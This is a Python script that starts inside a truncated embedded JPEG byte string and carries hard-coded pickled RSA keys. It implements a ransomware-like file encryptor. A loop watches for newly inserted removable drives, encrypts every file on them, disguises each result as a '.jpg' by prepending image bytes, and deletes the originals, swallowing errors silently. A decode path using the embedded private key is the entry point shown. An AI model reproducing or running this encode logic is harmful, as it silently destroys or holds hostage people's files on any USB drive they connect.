\xa2\x8a(\x01h\xa2\xa5\x85\x01\x1b\x8f\xe1P\xdd\x95\xc9#@\x19\x804\xe9\x15T\xe0\x13\x9a\x9f\x9c\x9c\x8e;SQA;\xcfS\xd2\xb3\xe7\xeaU\x8a\xf4\x0f\xa5Y\xcf\xcaX\x8cb\x9b\x11\xdc\xbc\xf2s\xde\xab\x9fAXi\x8dUrs\x9fL\xd4L0q\x8cT\xec\xec\x18\x802\x00\xe6\x95\x17h\xc9\xe5\x8d%&\x96\xa3\xb1^\x8a\xb0\xcd\x88\xcbc\x07\x15\\\x9c\xf5\xaa\x8b\xb8\x98(\xcb\x01RH\x8a\x83\xb9\'\xde\x92\x11\x97\xcf\xa5N9$\xe3\x152\x95\x98$U\xa2\xac\x04R\xe5\xa9\xc0\xe4\x9c\x8e\x94s\x85\x8a\xb4T\xc8\xbb\xc9v\xe4v\x14\xe7m\xa4\r\xb9\xcd>}l\x16"\x8d\x03\x93\x9c\xf1J\xf1\x80p\xa1\x89\xa9"\x18L\xfa\xf3I.Ur\xbcz\xd4\xf3>a\xdbB\x02\x08\xea1E\x14\x01\x93\x8a\xd4\x92e\x89J\x83\xc8\xcdF\xc1\x01 \x13\xc5L\xcc6aH\'\xebU\xea#w\xb8\xd8QE\x15b\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n(\xa2\x80\n\xb3k\xfe\xac\xfdj\xb5Y\xb5\xff\x00V~\xb53\xf8F\x89\xa8\xa2\x8a\xc0\xa0\xa2\x8a(\x00\xa2\x8a(\x03>\x8a(\xae\xb1\x05\x14Q@\x0bNI\n\x0cu\x14\xda*Z\xb9$\xa6l\x826\xfe\xb4\x8b6\x14\x0cg\x15\x1d\x15<\xa8w$iw.1\xfa\xd2G&\xc1\x8cf\x99E>Uk\x05\xc9\x1abA\x18\xe0\xd2\xf9\xe7\x1fw\x9a\x8a\x8a\\\xa8.=\xe4\xde\xb8\xc6?\x1ae\x14SJ\xdb\x08zH\x10p\xbf\xad\r3\x1e\x98\x14\xca(\xe5[\x8e\xe4\x89.\xd5\xc63Jf\xc8#o\xebQQK\x95\x05\xc7\xa4\xa5F1\x9aS6x#\x00\xd4tQ\xca\x82\xe4\xbeh+\xb7n\x06)\x0c\xbf.\x00\xcf\xb9\xa8\xe8\xa3\x95\x05\xc2\x9c\x8f\xb0\xe7\x19\xa6\xd1T\xd5\xc4=\xe5\xde1\x8cS(\xa2\x92V\xd8\x02\x8a(\xa6\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x01Vm\x7f\xd5\x9f\xadV\xab6\xbf\xea\xcf\xd6\xa6\x7f\x08\xd15\x14QX\x14\x14QE\x00\x14QE\x00g\xd1E\x15\xd6 \xa2\x8a(\x01h\xa2\x8a\x92B\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\xac\xda\xff\x00\xab?Z\xadVm\x7f\xd5\x9f\xadL\xfe\x11\xa2j(\xa2\xb0((\xa2\x8a\x00(\xa2\x8a\x00\xcf\xa2\x8a+\xacAE\x14P\x01E\x14P\x01E\x14P\x01E\x14P\x04\xf6\xca\x1bv@=:\x8a\x9f\xcbO\xee/\xe5P\xda\xff\x00\x17\xe1V+\x9em\xf3\x0co\x96\x9f\xdc_\xca\x8f-?\xb8\xbf\x95:\x8a\x9b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa3\xcbO\xee/\xe5N\xa2\x8b\xb0\x1b\xe5\xa7\xf7\x17\xf2\xa5\x00(\xc0\x00})h\xa5p\n(\xa2\x80\n(\xa2\x80\n(\xa2\x803\xe8\xa2\x8a\xeb\x10QE\x14\x00QE\x14\x00QE\x14\x00QE\x14\x01b\xd7\xf8\xbf\n\xb1T\xe2\x97\xcb\xcf\x19\xcf\xbdI\xf6\x9f\xf6?Z\xc6pm\xdd\x0c\xb1EW\xfbO\xfb\x1f\xad\x1fi\xff\x00c\xf5\xa9\xe4\x90\x16(\xaa\xff\x00i\xff\x00c\xf5\xa3\xed?\xec~\xb4rH\x0b\x14U\x7f\xb4\xff\x00\xb1\xfa\xd1\xf6\x9f\xf6?Z9$\x05\x8a*\xbf\xda\x7f\xd8\xfdh\xfbO\xfb\x1f\xad\x1c\x92\x02\xc5\x15_\xed?\xec~\xb4}\xa7\xfd\x8f\xd6\x8eI\x01b\x8a\xaf\xf6\x9f\xf6?Z>\xd3\xfe\xc7\xebG$\x80\xb1EW\xfbO\xfb\x1f\xad\x1fi\xff\x00c\xf5\xa3\x92@X\xa2\xab\xfd\xa7\xfd\x8f\xd6\x8f\xb4\xff\x00\xb1\xfa\xd1\xc9 ,QU\xfe\xd3\xfe\xc7\xebG\xda\x7f\xd8\xfdh\xe4\x90\x16(\xaa\xff\x00i\xff\x00c\xf5\xa3\xed?\xec~\xb4rH\x0b\x14U\x7f\xb4\xff\x00\xb1\xfa\xd1\xf6\x9f\xf6?Z9$\x05\x8a*\xbf\xda\x7f\xd8\xfdh\xfbO\xfb\x1f\xad\x1c\x92\x02\xc5\x15_\xed?\xec~\xb4}\xa7\xfd\x8f\xd6\x8eI\x01b\x8a\xaf\xf6\x9f\xf6?Z>\xd3\xfe\xc7\xebG$\x80\xb1EW\xfbO\xfb\x1f\xad\x1fi\xff\x00c\xf5\xa3\x92@X\xa2\xab\xfd\xa7\xfd\x8f\xd6\x8f\xb4\xff\x00\xb1\xfa\xd1\xc9 ,QU\xfe\xd3\xfe\xc7\xebG\xda\x7f\xd8\xfdh\xe4\x90\x16(\xaa\xff\x00i\xff\x00c\xf5\xa3\xed?\xec~\xb4rH\x0b\x14U\x7f\xb4\xff\x00\xb1\xfa\xd1\xf6\x9f\xf6?Z9$\x05\x8a*\xbf\xda\x7f\xd8\xfdh\xfbO\xfb\x1f\xad\x1c\x92\x02\xc5\x15_\xed?\xec~\xb4}\xa7\xfd\x8f\xd6\x8eI\x01b\x8a\xaf\xf6\x9f\xf6?Z>\xd3\xfe\xc7\xebG$\x80\xb1EW\xfbO\xfb\x1f\xad\x1fi\xff\x00c\xf5\xa3\x92@X\xa2\xab\xfd\xa7\xfd\x8f\xd6\x8f\xb4\xff\x00\xb1\xfa\xd1\xc9 ,QU\xfe\xd3\xfe\xc7\xebG\xda\x7f\xd8\xfdh\xe4\x90\x16(\xaa\xff\x00i\xff\x00c\xf5\xa3\xed?\xec~\xb4rH\x0b\x14U\x7f\xb4\xff\x00\xb1\xfa\xd1\xf6\x9f\xf6?Z9$\x05\x8a*\xbf\xda\x7f\xd8\xfdh\xfbO\xfb\x1f\xad\x1c\x92\x02\xc5\x15_\xed?\xec~\xb4}\xa7\xfd\x8f\xd6\x8eI\x01b\x8a\xaf\xf6\x9f\xf6?Z>\xd3\xfe\xc7\xebG$\x80\xb1EW\xfbO\xfb\x1f\xad\x1fi\xff\x00c\xf5\xa3\x92@X\xa2\xab\xfd\xa7\xfd\x8f\xd6\x8f\xb4\xff\x00\xb1\xfa\xd1\xc9 ,QU\xfe\xd3\xfe\xc7\xebG\xda\x7f\xd8\xfdh\xe4\x90\x16(\xaa\xff\x00i\xff\x00c\xf5\xa3\xed?\xec~\xb4rH\x0b\x14U\x7f\xb4\xff\x00\xb1\xfa\xd1\xf6\x9f\xf6?Z9$\x05\x8a*\xbf\xda\x7f\xd8\xfdh\xfbO\xfb\x1f\xad\x1c\x92\x02\xc5\x15_\xed?\xec~\xb4}\xa7\xfd\x8f\xd6\x8eI\x01b\x8a\xaf\xf6\x9f\xf6?Z>\xd3\xfe\xc7\xebG$\x80\xb1EW\xfbO\xfb\x1f\xad\x1fi\xff\x00c\xf5\xa3\x92@X\xa2\xab\xfd\xa7\xfd\x8f\xd6\x8f\xb4\xff\x00\xb1\xfa\xd1\xc9 ,QU\xfe\xd3\xfe\xc7\xebG\xda\x7f\xd8\xfdh\xe4\x90\x16(\xaa\xff\x00i\xff\x00c\xf5\xa3\xed?\xec~\xb4rH\x0b\x14U\x7f\xb4\xff\x00\xb1\xfa\xd1\xf6\x9f\xf6?Z9$\x05\x8a*\xbf\xda\x7f\xd8\xfdh\xfbO\xfb\x1f\xad\x1c\x92\x02\xc5\x15_\xed?\xec~\xb4}\xa7\xfd\x8f\xd6\x8eI\x01b\x8a\xaf\xf6\x9f\xf6?Z>\xd3\xfe\xc7\xebG$\x80\xafE\x14W@\x82\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x02\x8a(\xa0\x0f\xff\xd9'
pub_key = b'\x80\x03crsa.key\nPublicKey\nq\x00)\x81q\x01N}q\x02(X\x01\x00\x00\x00nq\x03\x8a\x11\x1b\x06:\xeb\xd5MF}\xad\xe0\x8d\xc1M2\xc2\x83\x00X\x01\x00\x00\x00eq\x04J\x01\x00\x01\x00u\x86q\x05b.'
pri_key = b'\x80\x03crsa.key\nPrivateKey\nq\x00)\x81q\x01N}q\x02(X\x01\x00\x00\x00nq\x03\x8a\x11\x1b\x06:\xeb\xd5MF}\xad\xe0\x8d\xc1M2\xc2\x83\x00X\x04\x00\x00\x00exp2q\x04\x8a\x08\t\x8fb$43]\x03X\x01\x00\x00\x00qq\x05\x8a\x08\xc5\xc0\x98X\xeb\xfe+\rX\x01\x00\x00\x00dq\x06\x8a\x10y\xbb\xacV\xe90Q5T&\xa8\x88\xc5\x13\xe2@X\x01\x00\x00\x00eq\x07J\x01\x00\x01\x00X\x04\x00\x00\x00exp1q\x08\x8a\t\xd9\xa6\r>\xdfZ\x9f\x9f\x04X\x04\x00\x00\x00coefq\t\x8a\t\x0bl\xee\xf8S\x1b\x02\x8f\x04X\x01\x00\x00\x00pq\n\x8a\t_Y\xce\x9dC\xfe\xc6\x00\nu\x86q\x0bb.'
fs = BytesIO()
fs.write(pub_key)
fs.seek(0)
pub_key = pickle.load(fs)
fs.seek(0)
fs.write(pri_key)
fs.seek(0)
pri_key = pickle.load(fs)
fs.close()
def make_key(N=1024):
kk = newkeys(N)
fs = BytesIO()
pickle.dump(kk[0],fs)
fs.seek(0)
pub_key = fs.read()
fs.seek(0)
pickle.dump(kk[1],fs)
fs.seek(0)
pri_key = fs.read()
fs.close()
return (pub_key,pri_key)
def encode(msg):
global pub_key
with BytesIO(msg) as fi, BytesIO() as fo:
encrypt_bigfile(fi,fo,pub_key)
fo.seek(0)
msg=fo.read()
return msg
def decode(msg):
global pri_key
with BytesIO(msg) as fi, BytesIO() as fo:
decrypt_bigfile(fi,fo,pri_key)
fo.seek(0)
msg=fo.read()
return msg
def encode_byte(bfile):
global img
q = img
w = encode(bfile)
return (q+w)
def decode_byte(bfile):
global img
q = bfile[len(img):]
return decode(q)
def encode_fd(file_name):
global img
try:
with open(file_name,'rb') as fd:
q = fd.read()
if q[:len(img)] == img:
return
w = encode_byte(q)
with open('%s.jpg'%file_name,'wb') as fout:
fout.write(w)
os.remove(file_name)
except:
print(file_name,'encode fail')
def decode_fd(file_name):
global img
try:
with open(file_name,'rb') as fd:
q = fd.read()
if q[:len(img)] == img:
w = decode_byte(q)
with open('%s'%file_name[:-4],'wb') as fout:
fout.write(w)
#os.remove(file_name)
except:
print(file_name,'decode fail')
def encode_dir(dir_name):
global img
for walk in os.walk(dir_name):
walk[2].sort(key=len,reverse=True)
for ff in walk[2]:
try:
file_name = os.path.join(walk[0],ff)
with open(file_name,'rb') as fs:
q = fs.read()
if q[:len(img)] == img:
continue
w = encode_byte(q)
with open('%s.jpg'%file_name,'wb') as fout:
fout.write(w)
os.remove(file_name)
except:
pass
def encode_dir_multi(dir_name):
fds = []
for walk in os.walk(dir_name):
walk[2].sort(key=len,reverse=True)
for ff in walk[2]:
file_name = os.path.join(walk[0],ff)
#fd = open(file_name,'r+b')
fds.append(file_name)
with Pool(6) as work:
work.map(encode_fd,fds)
def decode_dir(dir_name):
global img
for walk in os.walk(dir_name):
walk[2].sort(key=len)
for ff in walk[2]:
if ff[-4:] == '.jpg':
print(ff)
try:
file_name = os.path.join(walk[0],ff)
with open(file_name,'rb') as fs:
q = fs.read()
w = decode_byte(q)
with open('%s'%file_name[:-4],'wb') as fout:
fout.write(w)
#os.remove(file_name)
except:
pass
def decode_dir_multi(dir_name):
fds = []
for walk in os.walk(dir_name):
walk[2].sort(key=len)
for ff in walk[2]:
file_name = os.path.join(walk[0],ff)
#fd = open(file_name,'rb')
fds.append(file_name)
with Pool(10) as work:
work.map(decode_fd,fds)
import win32file
def get_disk():
drives=[]
sign=win32file.GetLogicalDrives()
drive_all=["A:\\","B:\\","C:\\","D:\\","E:\\","F:\\","G:\\","H:\\","I:\\",
"J:\\","K:\\","L:\\","M:\\","N:\\","O:\\","P:\\","Q:\\","R:\\",
"S:\\","T:\\","U:\\","V:\\","W:\\","X:\\","Y:\\","Z:\\"]
for i in range(25):
if (sign&1<<i):
if win32file.GetDriveType(drive_all[i])==2:
drives.append(drive_all[i])
#free_bytes,total_bytes,total_free_bytes=win32file.GetDiskFreeSpaceEx(drive_all[i])
#if (total_bytes/1024/1024/1024)<17:
# drives.append(drive_all[i])
return drives
global disks
disks = set(get_disk())
def main_encode():
global disks
while(1):
sleep(2)
ndisk = set(get_disk())
diff = ndisk-disks
disks = ndisk
for i in diff:
print('processing %s'%i)
encode_dir(i)
print('%s done'%i)
def main_decode():
for i in get_disk():
print(i)
disk_name = input('the disk to recover: ')
print('begin')
decode_dir_multi(disk_name)
print('finish!')
input('press any key to exit')
if __name__ == '__main__':
main_decode()